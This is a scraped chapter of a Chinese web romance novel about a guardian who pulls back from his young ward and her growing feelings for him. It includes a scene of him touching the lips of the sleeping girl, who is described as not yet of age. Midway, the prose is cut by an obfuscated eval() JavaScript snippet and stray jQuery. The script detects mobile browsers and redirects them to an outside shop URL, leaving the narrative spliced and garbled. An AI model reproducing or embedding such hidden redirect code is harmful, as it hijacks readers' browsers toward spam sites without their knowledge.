文趣网 > 都市小说 > 裙下权臣 > 36. 第36章 生分
    第36章生分

    陆执珩端着一碟酥饼进屋时,沈念念早已枕着手臂熟睡,鬓发松松垂落,眉睫轻垂,肌肤莹润透着浅粉,连呼吸都轻得像落雪。

    刻意放轻脚步的他,将酥饼搁在案角,又抬手合上半敞的窗扇,晚风被隔绝在外,屋内暖意一点点漫上来。

    立在她身侧,陆执珩的目光便被牢牢牵住,再也挪不开半分。

    他缓缓伸出手,指尖极轻地拂开覆在她颊边的乱发,将那缕软发顺到耳后。

    指腹不经意擦过她温热细腻的肌肤,那软嫩质感一沾,便让他胸腔猛地一震。

    指尖不受控地顺着柔和的轮廓缓缓下移,极轻极缓地,描摹过她饱满的唇形。

    喉间骤然一紧,他闭了闭眼,再睁眼时,眼底翻涌的情绪显要溢出来,一声低叹几不可闻,尽数落进寂静里:“念念,你这般,叫我如何静的下心?”

    原以为不过忍上数月,等她长大,等这份不该有的心思慢慢沉淀,得一个妥帖名分。

    可如今不过短短一日,竟比熬过数载春秋还要难捱,真真度日如年。

    陆执珩望着沈念念趴在案上睡得轻浅的模样,终是轻轻喟叹一声。

    这两日她抄字抄得勤快,先前便见她不住揉着手腕,想来早已酸涩不堪。

    这般枕着手臂趴着,本就睡得不安稳,何况她昨夜身子不适,若再着了风寒,反倒更麻烦。

    他俯身,小心翼翼将人打横抱起,动作放得极轻,生怕扰了她的睡意。

    沈念念在他怀里嘤咛一声,脑袋往他衣襟处蹭了蹭,依旧睡得沉。

    陆执珩力道愈发柔和,缓步将她安置在软榻之上,细心替她拢好被角,才转身取过那盒舒筋膏。

    指尖挑出一点微凉药膏,他执起她方才握笔的手腕,轻轻覆上去,缓缓打圈揉开。

    清浅的药香在空气中漫开,他力道适中,一点点按散她腕间滞涩的酸胀,低语似的叨念:“让你在院中安心休养,偏不肯老实待着,非要这般逞强。积极替我操劳,到头来若是伤了自己,值得吗?”

    阳光落在他垂着的眼睫上,晕开一片温柔。

    他就坐在榻边,耐心替她揉着手腕,直到药膏尽数渗入肌肤,才轻轻放下她的手,刚细心替她掖了掖被角。

    那点温存还留在被面上,沈念念忽然睫毛微动。

    陆执珩的动作极快,几乎是她睁眼的瞬间,两人间的亲昵如同潮水般迅速退去,取而代之的,是一种极细微的、刻意拉开的距离感。

    “再睡会儿?”他背对着她,声音听不出情绪。

    沈念念坐起身,带着刚醒的慵懒:“不了,打了个盹,不困了。”

    “桌上有酥饼,是你爱吃的松子味,你去吃点吧。”

    他的声音依旧沉稳,措辞也得体,尽是平日里细致入微的关怀。

    可沈念念只怔怔望着陆执珩那道挺直如松的背影,看着他毫不犹豫转身离去的步伐,心头却莫名浮起一丝说不清道不明的滞涩。

    总觉得……有哪里不一样了。

    不是他往日里对自己的宠溺,也不是寻常的疏离,是一种她从未感受过的、刻意的距离感。

    这个模糊的念头才刚在心底冒头,便如惊雷般炸开。

    下一刻,一个清晰又残忍的认知猝不及防缠上心头,死死攥住了她的心神——

    他在躲着她。

    这个念头一旦生根,便疯长不止。

    那些怪异的画面,骤然清晰浮现:

    今早他伸手想要探她额际温度,却在半空硬生生顿住。

    摘录邸报时,他随手捻起一颗葡萄干喂到她唇边,后又语气平淡地让她自己拿着吃。

    就连刚才,他不过是唤她去吃案上的松饼,也再无半分往日的亲昵。

    若是换做昨日,换做以往,断不会是这般模样。

    他定会自然地将掌心贴在她额间,细细感受她的体温,确认她无恙才会放心。

    莫说只是喂一颗葡萄干,便是喂她吃完一整碟,也至多弹她额际,笑骂她懒,却半点不觉麻烦。

    哪会这般嘴上唤她吃酥饼,而不拉住她的手腕,将她带到案前,亲自挑一块酥饼塞她嘴里。

    那些自然而然的亲近,那些不加掩饰的纵容,明明还历历在目,不过短短一日,便全都变了。

    “呵,”她看着那道熟悉的背影,唇角无意识地牵起一抹自嘲的笑。

    原来从不是她多心,他所有的言行举止,每一个细微的动作,每一句克制的话语,都藏着刻意的疏离。

    珩哥哥……是真的在刻意避开与她亲近。

    指尖不自觉收紧,攥得掌心微微发疼,可心底的茫然却愈发浓烈,搅得她心绪纷乱。

    到底是为什么?

    她蹙眉苦思,思绪猛地飘回昨夜芦苇荡,那一幕不堪的场景撞入眼帘时的慌乱还未散去。

    在那之前,她与他相处如常,亲昵依旧,从未有过这般生疏的时刻。

    难道问题,就出在那之后?

    脑海里骤然闪过陆执珩曾说过的一句话,一字一句,清晰得仿佛还在耳边——“她于我如手足妹妹无异。”

    心口猛地咯噔一下,像是有什么东西瞬间落定,又像是有细针轻轻扎过。

    原来如此。

    她后知后觉地恍然,原来他这般躲着她,处处避开与她的亲密接触,不过是在……避嫌。

    不过是昨夜令他意识到,她已是个将要及笄的大姑娘,他们之间,从来都只是兄妹,不该有半分逾越的亲近,令外人,以至她,产生不该有的误会。

    暮风卷着庭前落叶,擦着窗棂簌簌作响。

    今日恰逢休沐,沈念念总算得了清闲,就有人按捺不住,匆匆赶来。

    院外一阵急促的脚步声,踏碎了晨曦里的静谧。

    未及她起身相迎,闺房门扉已被人一把掀开,风尘仆仆的阴晚姝闯了进来,脸上挂着万事尽在掌握的狡黠笑意。

    屋内茶香尚温,氤氲着淡淡的药气。

    沈念念正揉着发胀的手腕,见她这副架势,索性放下了手,目光平静

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670609|205209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    地迎上她,竟一时无语。

    阴晚姝反手阖了门,几步凑到案前,似笑非笑盯着她,语气里尽是促狭的试探:“我的好念念,陛下已下旨返京,你若非今日休沐,怕是还黏在云中侯身边做你的小书吏。”

    沈念念抬眸挑了挑眉,眼底明明白白写着——你又打什么鬼主意,少来这套。

    阴晚姝见状,索性先提起前几日的糟心事,一副愤愤不平的模样:“上回我一时兴起,拉着你去象姑馆想开开眼界,偏巧撞上刑部封楼缉拿疏勒细作,你说咱们俩倒不倒霉?”

    “还敢提。”沈念念当即淡淡开口,满是对旧事重提的警告,“若不是听你的馊主意,你何至于被舅父罚跪禁足,平白挨一顿训斥?”

    她太了解阴晚姝,如今这般旧事重提,定然另有所图,索性直接点破:“你专程跑来绕这些弯子,绝不是只为抱怨几句吧。”

    “果然什么都瞒不过你。”阴晚姝笑得更显狡黠,身子又往前凑了凑:“闭门思过这几日我想明白了,看男子未必非要去象姑馆,近日正好有个好去处,说不定还能替你挑个合心意的夫婿。”

    见沈念念瞬间面露警惕,阴晚姝眼底的八卦之意几乎要溢出来,压低声音追问:“你老实同我说,那日在象姑馆见了那么多俊秀男子,可算大开眼界?心里对男子的那点好奇,是不是消解了些?有没有……半分开窍?”

    被戳中连日来压在心底的隐秘,沈念念长长叹了口气,心头一阵慌乱无措。

    哪里是消解,分明是愈演愈烈,乱得一塌糊涂。

    她垂着眼,声音轻得如同风中呢喃,带着难以启齿的窘迫:“非但没有……反倒更糟了。”

    沉默片刻,她咬了咬下唇,终于把藏了数日、连自己都不敢细想的话,小声吐露出来:“我……我发觉自己,竟开始馋男人了。”

    一语落定,如惊雷炸在耳边。

    阴晚姝猛地瞪大双眼,满脸震惊,险些失声叫出来:“不过去了一趟象姑馆,你竟直接开窍?快说说,你馋男人什么?”

    沈念念心头一紧。

    此事与象姑馆本就毫无干系,真正的缘由,是那日芦苇荡中无意撞见的场景,是陆执珩再三叮嘱她当作从未看见的隐秘,半点不能对外人言说。

    被她步步紧逼,沈念念脸颊瞬间涨得通红,心跳如擂鼓,几乎要撞出胸腔,磕磕绊绊,才勉强挤出一句:“我……我夜里做梦,与一个男子……亲吻了。”

    梦里的温热触感仿佛还停留在唇齿间,男人低沉温热的呼吸将她笼罩,吻得她头晕目眩、浑身发软。

    原本始终模糊的面容,在梦境将醒之际,竟清晰地勾勒出陆执珩的眉眼,温柔又带着她从未见过的沉欲,直直撞进她心底。

    阴晚姝捂住嘴,好不容易才压下尖叫的冲动。

    沈念念眼神急切又慌张,低低呵斥:“小声些!你想闹得人尽皆知,让我日后没脸见人吗?”

    阴晚姝连连点头,轻咳两声压下心底的激动,凑过来挤眉弄眼:“快说,梦里吻你的人,究竟是谁?”